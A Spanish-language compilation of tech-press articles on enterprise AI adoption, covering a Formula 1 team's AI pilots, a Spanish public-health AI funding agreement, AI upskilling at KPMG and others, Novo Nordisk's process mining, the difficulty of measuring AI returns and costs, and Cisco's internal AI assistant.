Dada la evolución semanal de la IA, el equipo de Taylor está llevando a cabo proyectos piloto en toda la organización: aprendizaje automático para la simulación, flujos de trabajo automatizados en la planificación de la producción y copilotos que ayudan a los desarrolladores a escribir código. Pero se resiste a la tentación de precipitarse.

“Todavía estamos buscando nuestro camino”, afirma. “No hay una solución única para todos. Estamos probando todo lo que hay disponible, pero dentro de seis a diez meses tomaremos decisiones sobre qué ampliar”.

A pesar del revuelo que rodea a la IA basada en agentes, Taylor sigue apostando por la supervisión humana. “Sigo creyendo firmemente que ‘los humanos deben estar en el bucle’. Cuando nuestra plantilla esté en sintonía con la IA, ahí es donde veremos el beneficio real: cuando esta complemente a nuestra gente”.

La IA también ha elevado el listón en materia de gobernanza de datos. “Lo que ahora se considera ‘suficientemente bueno’ incluye una mayor visibilidad, permisos más claros y una propiedad más definida», explica Taylor. «Hay que ser más riguroso a la hora de determinar a qué datos puede acceder la IA”.

La clave, empezar por las consecuencias

El consejo de Taylor para los CIO de otros sectores que se enfrentan a cuestiones similares es aparentemente sencillo: “Empieza por las consecuencias, no por la tecnología”.

En los servicios financieros, podría tratarse de un perjuicio para el cliente o de un incumplimiento normativo. En la sanidad, de la seguridad del paciente o de la pérdida de la confianza pública. En la F1, la consecuencia de un fallo de seguridad es la pérdida de la ventaja competitiva.

“Una vez que comprendes las consecuencias, puedes decidir qué requiere un control más estricto, qué hay que supervisar, qué hay que conservar y qué simplemente necesita mejores prácticas de seguridad”, afirma Taylor.

Es una lección aprendida a lo largo de 25 temporadas al límite de lo técnicamente posible, donde las decisiones se toman en milisegundos y el margen entre el éxito y el fracaso se mide en fracciones de segundo.

Implantar programas de monitorización remota de patologías crónicas, el uso de analítica avanzada en salud, el desarrollo de casos de uso basados en inteligencia artificial y facilitar la implementación de programas de telecuidados son algunas de las acciones que se realizarán bajo el marco del acuerdo sellado en el ámbito del Sistema Nacional de Salud entre el Ministerio para la Transformación Digital y de la Función Pública, el Ministerio de Sanidad y la Comunidad de Madrid.

En virtud de este convenio, de una duración de cuatro años (con posibilidad de prórroga por otros cuatro), el Gobierno español destinará 12,8 millones de euros a incorporar la IA a la Sanidad Pública de la Comunidad de Madrid. El montante, reza un comunicado del Ejecutivo, “permitirá incorporar nuevos servicios digitales en 262 centros públicos, desarrollar casos de usos de la IA innovadores y beneficiará cada año a más de 155.000 usuarios de la sanidad pública madrileña”. El proyecto se enmarca en la Estrategia de Salud Digital del Sistema Nacional de Salud y en el Programa Operativo Plurirregional de España (POPE) 2021-2027, financiado con fondos europeos FEDER.

“Este Gobierno está convencido de que la IA, como infraestructura de país, es una oportunidad con todas las letras”, señaló el ministro para la Transformación Digital y de la Función Pública, Óscar López, durante la firma. “Con este convenio damos un nuevo impulso a la transformación digital del Sistema Nacional de Salud para que la innovación llegue a todos los ciudadanos, vivan donde vivan”, agregó la ministra de Sanidad, Mónica García. “Movilizamos 223 millones de euros hasta 2029 para impulsar una inteligencia artificial útil, segura y responsable, compartir imágenes médicas entre comunidades autónomas y reforzar una sanidad más coordinada, más eficiente y más equitativa”.

Por su parte, el consejero de Digitalización de la Comunidad de Madrid, Miguel López-Valverde, recordó que “la región ya ha ejecutado 2.371 millones de euros del Plan de Recuperación, el 73% de los recursos asignados, situándose entre las comunidades más ágiles en la movilización de estas inversiones, muy por delante de Cataluña y Andalucía”.

Otras iniciativas que contempla el convenio son herramientas para mejorar el diagnóstico y el seguimiento de enfermedades raras; programas de telecuidados, que facilitarán el avance hacia una asistencia más personalizada y accesible, y la extensión de la red ÚNICAS, liderada estratégicamente por la Comunidad de Madrid junto con Cataluña, que permite compartir información clínica entre centros especializados en patologías minoritarias de pacientes pediátricos.

Además, el Ejecutivo autonómico participará en la Red de Intercambio de Imágenes Médicas del Sistema Nacional de Salud (SNS) para permitir el intercambio de este tipo de pruebas entre regiones para la prestación asistencial y su uso secundario, en línea con el reglamento del Espacio Europeo de Datos de Salud.

El convenio determina que, una vez desarrollados los proyectos financiados en este marco, se pondrán a disposición de todas las administraciones sanitarias a través de un repositorio o catálogo gestionado por el Ministerio de Sanidad, con el objetivo de su reutilización. Las actuaciones seguirán las directrices y recomendaciones que puedan ser establecidas por la Agencia Española de Supervisión de la Inteligencia Artificial (AESIA) y otros organismos competentes.

El factor clave para el éxito de la implantación de la IA está pasando a ser, en gran medida, el talento disponible, y no las herramientas de IA instaladas, lo que ejerce presión sobre los responsables de TI para que mejoren las competencias de su plantilla. Dado que las competencias en IA son las más demandadas y las más difíciles de encontrar, muchos responsables de TI y sus colegas de la alta dirección están poniendo en marcha programas integrales de formación en IA para los empleados, tanto para los profesionales de TI que desarrollan las herramientas de IA como para los usuarios de la empresa que las utilizarán.

Las empresas inteligentes tendrán que invertir mucho en la mejora de las competencias, afirma Chris Campbell, director de sistemas de información de la Universidad DeVry (California, Estados Unidos). “El ritmo del cambio es sencillamente demasiado rápido como para depender únicamente de la contratación externa. Las organizaciones que desarrollen capacidades de IA entre su plantilla actual tendrán ventaja sobre aquellas que intenten ganar una guerra de ofertas por un grupo relativamente reducido de expertos”, relata.

Además, los elementos clave que conducen a una implementación beneficiosa de la IA han cambiado con el tiempo, añade. “Al principio, a todo el mundo le preocupaba el acceso a las herramientas de IA. Hoy en día, las herramientas están por todas partes. Lo que veo que cuesta a las organizaciones es averiguar cómo aplicarlas a problemas empresariales reales e integrarlas en la forma en que se lleva a cabo el trabajo en la práctica”, agrega.

En DeVry, algunos de los defensores más acérrimos de la IA no provienen de ámbitos tradicionales de la IA, sino de la ingeniería de software, el análisis empresarial, la ciberseguridad, la gestión de proyectos y las operaciones, afirma. “Entienden el negocio, saben dónde están los puntos de fricción y pueden ver dónde la IA puede generar valor. Esas habilidades suelen ser más importantes que una experiencia profunda en un modelo o herramienta concretos”, señala.

Es difícil encontrar profesionales con experiencia en IA, sobre todo cuando los responsables de TI buscan candidatos que hayan logrado llevar con éxito iniciativas de IA de la fase experimental a la de producción. “No creo que todas las empresas necesiten crear un gran equipo de especialistas en IA”, afirma Campbell. “En muchos casos, las personas mejor posicionadas para impulsar la adopción de la IA ya se encuentran dentro de la organización”.

Mejora de las competencias para una cultura de creadores de IA

La firma de servicios profesionales y contabilidad KPMG está abordando su reto de talento en IA impartiendo formación generalizada en IA a sus empleados, afirma Rema Serafi, vicepresidenta de fiscalidad de KPMG. El principal problema de muchas organizaciones en materia de IA en 2026 será la falta de talento, no la falta de tecnología, añade.

El 40% de los CIO encuestados para el informe ‘State of the CIO‘ de este año señalaron la falta de talento interno como uno de los principales obstáculos para implementar sus estrategias de IA.

Para hacer frente a esto, KPMG ha puesto en marcha un programa piloto de formación en IA de seis semanas, con el objetivo de que todos los empleados puedan implementar sus propias herramientas de IA, explica Serafi. El programa familiariza a los empleados con Python y otras tecnologías que sirven de base para las herramientas internas de IA, añade.

KPMG también ha renovado la estructura de sus equipos para garantizar que tres categorías de empleados —usuarios avanzados de IA, creadores y desarrolladores— trabajen en estrecha colaboración, afirma Serafi. “Todo el mundo tendrá acceso a nuestras herramientas y todo el mundo será un usuario avanzado, hasta tal punto que aquellos profesionales que no contaban con conocimientos de IA al incorporarse, que no eran ingenieros ni tecnólogos, si quieren aprender, les certificaremos para que también puedan crear herramientas”, afirma.

Implementar herramientas de IA sofisticadas y de primera clase sin formar a los empleados es como comprar un coche de Fórmula 1 pero no contratar a un piloto profesional, dice. “Si no contamos con profesionales que sepan cómo utilizarla, no podrán sacar el máximo partido a lo que tienen a su disposición”, añade Serafi.

KPMG encargó un estudio a la Universidad de Texas (Estados Unidos) y descubrió que los empleados que utilizan la IA con regularidad producen un trabajo de mayor calidad y se sienten menos estresados. Los empleados que sean usuarios expertos en IA progresarán más rápido en sus carreras, sugiere. Sin embargo, uno de los retos de los programas de formación es mantenerse al día con la rapidez con la que evoluciona la IA. “De hecho, las funciones están cambiando en muy poco tiempo. Antes se veía a ingenieros tradicionales trabajando con IA, pero ahora se ven profesionales que realmente pueden orientar, dar forma y dirigir la IA en el trabajo que realizan para sus clientes”.

Reciclaje profesional: “El único camino realista hacia el futuro”

Otro defensor de la formación integral en IA para los empleados es Elmer Morales, fundador y director ejecutivo de Koder.com, una startup de programación de IA agente. Según él, encontrar talento externo en el ámbito de la IA se ha vuelto extremadamente difícil para la mayoría de las empresas.

“El reciclaje profesional ya no es opcional. Es el único camino realista a seguir para la mayoría de las organizaciones. El mercado de talento externo no puede satisfacer simultáneamente las necesidades de todas las empresas, y esperar a que las universidades se pongan al día no es una estrategia”, afirma.

Las empresas que triunfan con la IA consideran la mejora de las competencias como una inversión fundamental, no solo como una iniciativa de recursos humanos, añade Morales. “La falta de talento es, en estos momentos, el principal obstáculo concreto para las ambiciones en materia de IA. Las empresas pueden adquirir los mejores modelos, la mejor infraestructura y las mejores herramientas, y aun así no producir nada de valor porque carecen de personas que sepan cómo integrarlo todo en un sistema que realmente funcione en producción”, explica.

Morales sugiere que los responsables de TI recurran a su equipo de ingeniería actual para desarrollar el talento necesario para la implementación de la IA. “Los ingenieros que ya se dedican a esto con obsesión por las noches y los fines de semana, que lanzan proyectos personales y experimentan con nuevos modelos, solo necesitan permiso, recursos y un problema real que resolver. Los mejores equipos de IA que he visto no se crearon mediante la contratación, sino creando las condiciones para que las personas adecuadas dieran un paso al frente”, concluye.

La multinacional farmacéutica danesa Novo Nordisk está muy interesada en acelerar el tiempo que se tarda en lanzar medicamentos al mercado a medida que expiran las patentes. “Si tienes un medicamento superventas, un retraso de una semana puede suponer entre 10 y 100 millones de dólares”, afirma Stephanie Bova, responsable de transformación digital de la empresa. “Es una cantidad enorme, porque dispones de menos tiempo de protección mediante patente”.

La IA generativa ofrecía la posibilidad de acelerar drásticamente múltiples etapas del proceso de desarrollo de medicamentos. Y, dado que Novo Nordisk ya llevaba un seguimiento minucioso de la duración de sus procesos clave, contaba con una ventaja de la que carecían muchas otras empresas. Por lo tanto, debería haber sido relativamente sencillo incorporar un poco de IA generativa, ver cómo mejoraba la productividad y observar cómo llegaban los beneficios. Pero no fue tan fácil. El proceso de desarrollo de un fármaco consta de muchas partes, que tienen lugar en distintos momentos y en distintos departamentos. “Las personas son expertas en sus propios ámbitos, pero no necesariamente conocen el siguiente ámbito ni cómo encaja todo. El sistema es tan grande y complejo que no se puede ver todo el rendimiento de una sola vez”, afirma Bova.

Es posible que la documentación de los procesos no se corresponda con lo que la gente hace realmente en la práctica, y que diferentes personas realicen la misma tarea de formas distintas. Además, algunas tareas cruciales pueden pasar prácticamente desapercibidas desde fuera. El equipo de fabricación, por ejemplo, puede formar parte de un grupo completamente diferente y no ser consciente de que el medicamento se está preparando para su presentación ante la FDA (la agencia gubernamental estadounidense del medicamento), y que aún no tiene toda la documentación lista. “Así que has avanzado muy rápido solo para tener que esperar a que ellos te alcancen”, añade Bova.

Este es solo uno de los muchos retos a los que se enfrentan las empresas al intentar medir los resultados de los proyectos de IA, y la razón por la que las encuestas son tan contradictorias.

Si nos fijamos en las tareas individuales, Novo Nordisk puede demostrar mejoras en la productividad y claros beneficios positivos derivados del uso de la IA. Pero si damos un paso atrás y analizamos los resultados financieros de la empresa, el panorama se vuelve más confuso. En primer lugar, si se omiten pasos críticos, el tiempo de comercialización no mejorará. Además, un nuevo medicamento tarda años en llegar a los clientes, por lo que los efectos positivos en los resultados no se notarán hasta pasado un tiempo. Y eso es solo el principio del problema que plantea la medición del retorno de la inversión.

Medición de procesos

Para abordar los puntos ciegos de sus procesos, Novo Nordisk recurrió a la nueva generación de minería de procesos: gemelos digitales de las operaciones en tiempo real impulsados por IA. “Nos asociamos con la empresa de inteligencia de procesos Celonis para obtener un gemelo digital de nuestros datos de procesos. Fuimos los primeros del sector en aplicarlo al ámbito clínico”, explica Bova. La herramienta recopila información de los sistemas de la empresa para hacer un seguimiento de lo que los empleados hacen realmente, en lugar de utilizar encuestas para recabar información sobre lo que una parte de los empleados recordaba haber hecho en algún momento.

El primer proyecto consistió en un proceso sencillo de siete pasos y, al crear un gemelo digital del mismo, Novo Nordisk descubrió que, dependiendo de quién lo llevara a cabo, podía tratarse de un proceso de cinco o de nueve pasos. “Si reúnes a diez expertos en la materia en una sala, obtienes todo tipo de interpretaciones y, con el tiempo, se producen desviaciones”, cuenta.

El proyecto puso de manifiesto múltiples fallos en los procesos existentes. En algunos casos, fue necesario volver a formar a los empleados. En uno de ellos, hubo que actualizar la interfaz de usuario. Sin embargo, una vez que se estandariza un proceso, surge la oportunidad de tomar una “fotografía” de la situación anterior, de modo que haya algo con lo que comparar posteriormente y comprobar si la mejora mediante IA o la automatización arrojan algún resultado.

Otra cuestión que tuvieron que resolver de antemano fue decidir qué hacer con el tiempo ahorrado que se generara. “No quieres despedir a nadie”, afirma Bova. “Se trata de personal altamente cualificado y difícil de encontrar. Quizá deberíamos plantearnos redistribuir un poco los equipos”.

En la actualidad, la empresa cuenta con varios cientos de agentes de IA en funcionamiento, etiquetados dentro de la infraestructura del gemelo digital para poder identificarlos. “Si algo falla, sabemos exactamente dónde solucionarlo”, dice, y añade que la siguiente fase es la coordinación entre múltiples agentes. “Hoy en día, los tenemos conectados, pero no contamos con ‘agentes de agentes”.

Aún es demasiado pronto para saber si hay retorno de la inversión, ya que, en el desarrollo de fármacos, el proceso lleva años. “Pero, al analizar el proceso de principio a fin, espero que podamos recortar dos años del ciclo de desarrollo. Dos años menos hasta la comercialización, en comparación con la situación actual”»”, indica.

Los medicamentos que ya se encuentran en la fase final de desarrollo no experimentarán una aceleración tan notable, pero los que acaban de iniciarse serán los que más se beneficien. Sin embargo, los resultados finales no se verán hasta dentro de varios años.

La industria farmacéutica no es la única en la que el verdadero valor proviene de la optimización simultánea de múltiples procesos interconectados. Según PwC, los proyectos tácticos de IA a menudo no aportan un valor cuantificable, y los beneficios tangibles provienen de implementaciones a escala empresarial coherentes con la estrategia de negocio.

De hecho, muchas empresas no han experimentado ni un aumento de los ingresos ni una reducción de los costes gracias a la IA en los últimos 12 meses, a pesar de su adopción casi universal. Aun así, el gasto empresarial en IA se prevé que casi se duplique a finales de año en comparación con el año pasado, según KPMG.

Medición de la productividad

La mayoría de las empresas empiezan a pequeña escala, implantando chatbots de IA para los empleados con el fin de ayudar a mejorar la productividad. Y el ritmo de adopción en este ámbito ha sido asombrosamente alto, solo equiparado por la incapacidad de medir las ganancias de productividad que se supone que se deben alcanzar.

Disponer de una referencia es clave, afirma Anand Rao, profesor de IA en la Universidad Carnegie Mellon, de Estados Unidos, pero en algunos casos resulta difícil de medir y, en otros, es prácticamente imposible. Tomemos, por ejemplo, las decisiones relacionadas con los seguros, en las que los resultados pueden tardar años en hacerse evidentes. En el caso de los seguros de vida, podrían ser décadas, afirma. Y para algunos tipos de decisiones, las empresas no disponen de ningún tipo de indicador.

“Existe un estigma social a la hora de decir que estoy tratando de analizar tu proceso de toma de decisiones y lo bien que las estás tomando. Como seres humanos, no nos gusta que se evalúen nuestras decisiones”, señala. Luego, cuando una decisión sale bien al final, la gente se atribuye encantada el mérito. “Si la decisión sale mal, se achaca a factores externos”.

Pero incluso en el caso de tareas específicas en las que es posible realizar mediciones, las empresas a menudo no se esfuerzan por llevarlas a cabo antes de implementar herramientas de IA. “No partimos de una referencia”, apunta Julie Averill, antigua vicepresidenta ejecutiva y directora de sistemas de información global de la cadena de moda Lululemon. Averill es ahora directora general de Gold Thread, una consultora de transformación digital. “Partimos de la suposición de que la IA iba a ayudar a la gente a tomar mejores decisiones. Y eso te lleva a no poder medir bien los resultados”, explica.

Existen métricas alternativas que una empresa puede tener en cuenta en su lugar, añade, como las tasas de uso o la satisfacción de los usuarios. “Esto está ocurriendo y está aportando beneficios, algunos de los cuales se pueden ver y otros no. Hay que confiar en el proceso. Es igual que con la nube. Sabes que es el camino del futuro y puedes ver las ventajas, pero es difícil llegar hasta allí, y se requieren muchos cambios. Pero cuanto antes lo hagas, antes te habrás adaptado a la nueva forma de operar y podrás sacarle realmente partido”.

Hay otras áreas en las que es más fácil disponer de métricas concretas, como el servicio de atención al cliente. “Se trata de tareas repetitivas y suele ser el primer ámbito que las empresas automatizan con IA. Hay resultados muy tangibles que se pueden medir y se puede establecer una referencia muy sólida”, explica Averill.

Lululemon también lleva años utilizando la IA para mejorar la personalización y las recomendaciones, y esa es otra área que se puede cuantificar. Además, la automatización puede reducir la introducción manual de datos, lo que disminuye las tasas de error. La IA también se puede utilizar para ayudar en la supervisión del cumplimiento normativo, la detección de fraudes y el mantenimiento predictivo de los equipos, todos ellos casos de uso que se pueden cuantificar.

¿Pero la productividad de los empleados en general? Eso es difícil de medir, y no solo para Lululemon. Una forma obvia podría ser analizar los despidos en profesiones expuestas a la IA. Al fin y al cabo, los titulares están por todas partes. Pero en un informe publicado en marzo, Anthropic no encontró indicios de un aumento del desempleo en las profesiones altamente expuestas, aquellas en las que las personas tienen más probabilidades de ser despedidas debido a la IA.

A principios de 2025, la empresa de investigación METR intentó cuantificar la productividad de los desarrolladores comparando la rapidez con la que los desarrolladores experimentados eran capaces de realizar tareas con IA y sin ella. ¿El resultado? Los desarrolladores afirmaron que esperaban que la IA les permitiera trabajar un 24% más rápido y estimaron que, en realidad, la IA les había permitido hacerlo un 20 % más rápido. Pero los datos revelaron una realidad totalmente diferente. El uso de la IA, en realidad, les ralentizó un 19%.

Por supuesto, las herramientas de IA están mejorando. METR intentó realizar un estudio de seguimiento, comparando de nuevo las tareas realizadas con y sin IA, pero no pudo encontrar suficientes desarrolladores dispuestos a volver al enfoque sin IA, a pesar de que los investigadores les pagaban por participar en el estudio.

Existen casos anecdóticos de empresas en las que un solo ingeniero realiza el trabajo de cien gracias al uso de la IA. O aquella vez en que se filtró accidentalmente todo el código fuente de Claude Code, de medio millón de líneas, y el desarrollador coreano Sigrid Jin creó una reconstrucción desde cero en dos horas, que luego subió a GitHub, donde se convirtió en el proyecto más rápido de la historia en alcanzar las 100.000 estrellas.

Pero, como ocurre con cualquier otro tema relacionado con la IA, la realidad es más compleja. En el caso concreto del desarrollo de software, escribir el código es, en realidad, solo una pequeña parte de lo que implica desarrollar software.

La consultora DX analizó recientemente métricas clave de ingeniería de 400 empresas y, en un informe reciente, constató que el uso de la IA había aumentado un 65% desde noviembre de 2024, pero que la productividad relacionada con la IA se situaba justo por debajo del 10%.

Costes ocultos

Al igual que resulta difícil medir los beneficios de la IA en términos de productividad, también puede resultar complicado cuantificar los costes. Cuando una empresa empieza a utilizar la IA, los costes pueden ser relativamente fáciles de estimar. ¿A cuánto ascienden las cuotas mensuales totales de suscripción a los chatbots de IA que utilizan los empleados? ¿Cuál es el coste de entrenar o ajustar un modelo personalizado? Pero cuando se pasa a casos de uso más complejos, los cálculos se vuelven más difíciles, afirma Averill. “Ahora existen todos los sistemas relacionados con la IA. Esos son más difíciles de cuantificar, pero su impacto es mayor”, dice.

Por ejemplo, si la IA se integra en los procesos empresariales mediante RAG, existe el gasto continuo de las llamadas a la API, pero también los cambios que hay que realizar en otros sistemas, explica. Y la cosa se complica cada día más. “No hemos realizado un esfuerzo muy concertado para implantar la telemetría y la instrumentación”, afirma Swaminathan Chandrasekaran, director global de IA y laboratorios de datos en KPMG. Según él, obtener una visión global de los costes totales de la IA en una empresa es como predecir el tiempo.

“La razón por la que contamos con un sistema de predicción meteorológica tan impresionante en este país es que disponemos de decenas de miles de estaciones meteorológicas que recopilan datos”, explica. “Sin eso, no sabríamos qué tiempo va a hacer”.

Las empresas deben implantar sistemas de medición para evaluar todos los aspectos del consumo relacionado con la IA, señala, empezando por el número de tokens utilizados, quién los utiliza y cómo se correlaciona esto con el rendimiento laboral. “Esa medición brilla por su ausencia”, afirma.

Al menos cuando los humanos utilizan chatbots de IA, hay un límite en el número de preguntas que son físicamente capaces de formular, además de unos costes de suscripción predecibles. Y cuando los procesos empresariales se habilitan con IA a través de RAG, las llamadas a la API de los modelos de lenguaje grandes (LLM) las realizan sistemas empresariales predecibles y programados de forma tradicional.

Pero ahora, la IA agentiva está empeorando aún más las cosas, ya que los agentes pueden actuar de forma impredecible y el número de llamadas a la API puede dispararse rápidamente fuera de control. En un informe del Boston Consulting Group, dos tercios de las empresas señalan gastos de escalado de la IA incontrolables.

Otro coste que algunas empresas quizá no prevean bien, o que no controlen porque forma parte de un presupuesto diferente, es el relacionado con los datos. Ya sea preparando datos para el entrenamiento o el ajuste fino, utilizando incrustaciones de RAG o configurando el acceso directo a MCP a través de agentes, estos costes pueden acumularse rápidamente cuando entra en escena la IA.

“Las tarifas de salida son uno de los gastos más importantes”, afirma Tom Coughlin, miembro del IEEE y presidente de la consultora Coughlin Associates. “Si tienes que sacar datos de la nube, esas tarifas de salida podrían ser considerables”. Además, están todos los costes de personal que conlleva la implementación de la IA, añade.

“A largo plazo, la IA aportará un gran valor a las personas, pero estas deben saber cómo utilizarla correctamente. Si no cuentan con esas habilidades, se encontrarán en desventaja”, expone.

Soluciones y mensajes contradictorios

Luego está la cuestión de resolver los problemas. La mayoría de las empresas han sufrido al menos un incidente relacionado con la IA en los últimos 18 meses, y la mayoría de ellos han supuesto pérdidas económicas, algunas de más de 500.000 dólares. Además, está la IA que se está integrando en todo.

“Conocemos nuestros costes directos”, afirma Andrew Johnson, director de sistemas de información (CIO) de Brownstein Hyatt Farber Schreck, un bufete de abogados estadounidense. “Pero donde resulta más difícil de cuantificar es con las plataformas que ya tenemos implantadas y las aplicaciones SaaS que no contaban con capacidades de IA. Nos piden aumentos extraordinarios y los atribuyen a las nuevas capacidades que aporta la IA. ¿Cuánto se le debe atribuir a la IA? Eso es un poco difuso”, relata.

Incluso cuando la IA permite ahorrar dinero, a menudo hay costes adicionales asociados a ello. Por ejemplo, el bufete gastaba unos 70.000 dólares al año en una plataforma de gestión de contratos. Desarrollar su propia versión con IA supuso unos 40.000 dólares en costes de mano de obra y otros 3.000 dólares al año en alojamiento. El mantenimiento continuo será mínimo para esa aplicación en concreto, añade, lo que supondrá un total de otros dos mil dólares al año.

Pero también hay otros costes indirectos asociados al funcionamiento de las aplicaciones propias, como las auditorías de seguridad, las evaluaciones de vulnerabilidad, las pruebas de penetración y la revisión del código. “Cuanto más compleja y arriesgada es la plataforma, menor es el interés por intentar crear una solución interna”, indica.

Aun así, el equipo de desarrollo de software es ahora mucho más productivo gracias a la IA, ya que cuatro o cinco desarrolladores son capaces de hacer el trabajo de 20 o 30. Pero las mejoras en la productividad no se traducen en un ahorro de mano de obra, ya que los desarrolladores tienen mucho trabajo nuevo que hacer. “Tenemos una enorme lista de oportunidades pendientes para desarrollar soluciones”, afirma.

La tendencia del trabajo a expandirse para ocupar todo el tiempo disponible no se da solo en el desarrollo de software, señala Rao, de Carnegie Mellon. Supongamos, por ejemplo, que se espera que la IA suponga una mejora del 20% en la productividad, explica. “Antes había cien personas haciendo ese trabajo, y ahora solo necesitamos 80. Pero, al final del año, la plantilla no ha cambiado. «En las tareas que realizaban, hay una mejora, añade, “pero las personas añadirán tareas para suplir o complementar ese 20%. No es que se vayan a casa una hora antes, sino que están encontrando otras actividades que generan valor”.

De hecho, en algunos casos, el aumento de la productividad en una empresa puede llegar a perjudicar los resultados. Los abogados, por ejemplo, cobran por horas. “La eficiencia va en contra de nuestras formas tradicionales de ganar dinero”, afirma Johnson, de Brownstein. “Tenemos que pensar más allá de eso. No es perjudicial para nuestros intereses a largo plazo, pero supone un reto a corto plazo. Sin embargo, si no lo hacemos, es probable que no seamos competitivos a medio y largo plazo”.

Así pues, si una nueva herramienta de IA ayuda a un abogado en la diligencia debida, no existe una relación directa entre la inversión en esa herramienta y el aumento de los ingresos. “Es un hecho que la dirección es la correcta”, afirma Johnson. “Pero no podemos afirmar que vaya a generar un rendimiento concreto”.

Desde la irrupción de ChatGPT, las empresas han intentado transformar el potencial de la IA generativa como asistente digital en mejoras de productividad para todas las áreas de la organización. Cisco es una de las compañías que se ha situado a la vanguardia de este esfuerzo.

La idea original de crear un asistente interno surgió en Cisco cuando ChatGPT y otras herramientas de IA orientadas al consumidor aparecieron a finales de 2022 y principios de 2023, y la dirección de la compañía debatía si debía permitir a los empleados utilizarlas, explica Srini Namineni, director de Automatización de Cisco. “La gran pregunta era: ¿deberíamos bloquearlo?”, recuerda. “Los riesgos estaban claros cuando las personas podían introducir datos de la empresa y estos podían quedar expuestos a terceros. Tomamos una decisión deliberada: en lugar de bloquear estas herramientas, ofreceríamos una alternativa segura”.

Ese proyecto inicial de asistente interno de IA, lanzado a finales de 2023, también se concibió para consolidar en una única plataforma lo que podría haberse convertido en un ecosistema fragmentado de herramientas de IA, al tiempo que permitía a los empleados conectarse a múltiples modelos.

El asistente de IA, que originalmente integraba Azure OpenAI y Google Gemini, puede incorporar nuevos modelos en apenas un par de semanas desde que un empleado lo solicita, afirma Namineni. Desde entonces, ha evolucionado hasta convertirse en una herramienta multifuncional que combina capacidades de copiloto, asistente de programación, asistente de recursos humanos y apoyo para múltiples tareas, permitiendo a los empleados aplicar IA a una amplia variedad de actividades laborales.

Según la compañía, este asistente, que le ha valido a Cisco un Premio CIO 100 2026 a la innovación y el liderazgo en TI, permite a sus ingenieros ahorrar una media de seis horas semanales y al resto de empleados unas cinco horas por semana.

Aunque los objetivos principales del proyecto eran la seguridad y la flexibilidad, Cisco ha descubierto una tercera ventaja: con un coste mensual por usuario de unos 10 dólares, el asistente interno resulta más económico que varias soluciones de IA comerciales disponibles en el mercado, señala Namineni.

Mitigar los riesgos de la IA

La herramienta, disponible para los empleados desde 2024, contaba con más de 96.000 usuarios en el primer trimestre de 2026 y una tasa de adopción del 90%. Según encuestas internas, el 79% de los empleados considera que el asistente les ahorra tiempo, el 72% afirma que aumenta su productividad y el 71% destaca que mejora la calidad de su trabajo.

Por ejemplo, Cisco asegura que la herramienta ha acelerado el desarrollo de software al ayudar a los programadores a detectar pequeños errores y generar pruebas unitarias.

Namineni y su equipo han impulsado la adopción del asistente mediante la incorporación continua de nuevas funciones, dotándolo de más capacidades que algunas soluciones comerciales.

Los empleados pueden compartir entre sí instrucciones o prompts de IA a través de la plataforma y gestionar tareas de recursos humanos, como solicitar vacaciones, sin necesidad de acceder a otros servicios. El asistente también permite cargar conjuntos de datos propietarios en carpetas seguras de OneDrive para proyectos personalizados e incorpora capacidades de RAG (Retrieval Augmented Generation) como servicio, lo que facilita consultas seguras sobre documentos y metadatos internos de Cisco.

El proyecto se basa en una arquitectura de microservicios que permite integrar rápidamente nuevas aplicaciones de IA. Cisco presenta el asistente como un compañero de trabajo digital y visualiza un futuro en el que cada empleado disponga de un equipo virtual de agentes de IA.

La próxima evolución

Namineni prevé incorporar nuevas funcionalidades, entre ellas agentes personalizados que asistan de forma permanente a cada empleado.

Estos agentes podrían conectarse al correo electrónico y a las cuentas de Webex Meetings de los usuarios y realizar acciones en su nombre, siempre con autorización. Por ejemplo, podrían clasificar automáticamente los correos electrónicos según su prioridad.

También considera que estos asistentes asumirán más tareas de recursos humanos y finanzas, permitiendo que los empleados se concentren en actividades de mayor valor.

Sin embargo, los usuarios mantendrán el control, subraya. “No estoy preparado para renunciar al 100% del control salvo en actividades de bajo valor, donde podría aceptar algún error, porque la IA se equivoca”, afirma Namineni. “Nuestro reto es cómo aprovechar esta capacidad, limitarla a los casos de uso donde pueda realizar la mayor cantidad de trabajo posible y, al mismo tiempo, mantener siempre a las personas supervisando el proceso”.

Además del premio CIO 100, el proyecto ha recibido otros reconocimientos. Según Amy Loomis, vicepresidenta de soluciones para el puesto de trabajo de la consultora IDC, el asistente puede servir de modelo para otras grandes empresas que quieran fomentar un uso seguro de la IA entre sus empleados.

Seguir la lógica

Loomis afirma que otras organizaciones pueden adoptar la lógica del enfoque, aunque no necesariamente replicar la misma infraestructura tecnológica de Cisco. La arquitectura utilizada —que incluye integración de múltiples modelos, orquestación híbrida multicloud, RAG como servicio y microservicios— responde a la escala y capacidad de ingeniería de Cisco.

Sin embargo, las decisiones de fondo son acertadas, sostiene. Las compañías deberían proporcionar a sus empleados un entorno interno y gobernado para utilizar IA antes de que prolifere el uso de herramientas no autorizadas; evitar la fragmentación mediante una interfaz inteligente unificada; implantar controles de acceso que mantengan la responsabilidad humana sobre las acciones de la IA; y presentar la IA como una herramienta que amplía el alcance y la calidad del trabajo de los empleados.

La innovación de Cisco reside en la forma en que todos los componentes trabajan conjuntamente como un sistema, explica Loomis. Elementos como los flujos RAG, el acceso a GPT-4o, la integración con OneDrive o las arquitecturas de microservicios están disponibles en otros entornos, pero Cisco ha logrado combinarlos en una única plataforma. “Lo menos habitual es reunir todo esto dentro de un entorno gobernado por la propia empresa, con controles explícitos sobre los datos, en lugar de enviar las consultas de los empleados a servicios externos de IA donde la información sensible puede acabar formando parte de conjuntos de entrenamiento públicos”, añade.

Loomis destaca especialmente la función My Projects, que permite a los empleados cargar conjuntos de datos propietarios en carpetas seguras de OneDrive para realizar consultas y respuestas personalizadas.

Según explica, este enfoque proporciona a los trabajadores las capacidades que necesitan y evita que recurran a herramientas externas no autorizadas. La analista también elogia la estrategia de Cisco de presentar la IA como una capa de ampliación de las capacidades humanas. “Dar a cada empleado acceso a un conjunto de herramientas de IA adaptadas a su puesto y contexto de trabajo es tanto una decisión de gestión del cambio como una decisión tecnológica”, relata. “Las organizaciones que presentan la IA de esta manera, como una herramienta que potencia lo que los empleados pueden hacer en lugar de sustituir la forma en que trabajan, suelen lograr una adopción más amplia porque reducen la resistencia que habitualmente ralentiza su despliegue”.

“Ya no se compra software principalmente para personas; cada vez se compra más para agentes”, explica George Brocklehurst, vicepresidente ejecutivo de Gartner. “Durante un par de décadas, el software se ha evaluado por su interfaz y por la experiencia de usuario: facilidad de uso, flujos de trabajo, formación. Cuando los agentes de IA se convierten en el usuario principal, todo eso pierde valor”.

